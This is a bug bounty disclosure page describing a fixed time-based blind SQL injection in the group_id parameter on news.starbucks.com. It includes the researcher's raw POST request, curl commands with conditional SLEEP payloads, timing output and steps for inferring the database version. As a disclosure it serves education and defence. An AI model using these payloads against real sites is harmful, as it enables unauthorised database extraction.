Time-based Blind SQLi on news.starbucks.com
The group_id parameter in a POST request to news.starbucks.com was not sanitised, allowing SQL injection. An attacker could use time-based blind SQL injection to infer database information, such as the DBMS version.
- Triaged in 11 days
- Fixed in 12 days
- Disclosed after 42 days
Summary by the researcher
Full story here: http://timeofcheck.com/time-based-blind-sqli-on-news-starbucks-com/
The report
Hi,
I just found that the post parameter "group_id" for a particularly crafted http request is being vulnerable to injection due to missing parameter sanitization.
PoC:
POST / HTTP/1.1
Host: news.starbucks.com
Connection: close
Content-Length: 81
Cache-Control: max-age=0
Origin: https://news.starbucks.com
Content-Type: application/x-www-form-urlencoded
ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=1,SLEEP(1),0) AND group_id='1
This query will result in an execution of a SLEEP command, delaying the server response time:
time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=1,SLEEP(1),0) AND group_id='1" https://news.starbucks.com
real 0m4.945s
user 0m0.000s
sys 0m0.063s
If the custom IF statement evaluates to False, the response would be sensibly faster:
time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(1=2,SLEEP(1),0) AND group_id='1" https://news.starbucks.com
real 0m0.860s
user 0m0.000s
sys 0m0.031s
In this way it was possible to detect the dbms version being 5:
time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(MID(VERSION(),1,1)='5',SLEEP(1),0) AND group_id='1" https://news.starbucks.com
real 0m4.945s
time curl --data "ACT=55&jsontree={"x":1}&site_id=1&group_id=1'-IF(MID(VERSION(),1,1)='4',SLEEP(1),0) AND group_id='1" https://news.starbucks.com
real 0m1.005s
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the group_id parameter was concatenated into a SQL query without proper sanitisation or parameterisation.
Impact
An attacker could extract information from the database, such as the DBMS version, through time-based inference.
What the attacker needed
Network access to the site
How it was found
- Send a POST request to the site with a group_id value containing a conditional SLEEP instruction.
- Observe that the response is delayed when the condition is true.
- Send a similar request with a false condition and observe a faster response.
- Use the delay to test database version characters one by one.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The website took a value from a form and put it directly into a database command without cleaning it first. By adding extra database instructions, an attacker could make the site wait before responding, and the delay revealed hidden information about the database.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.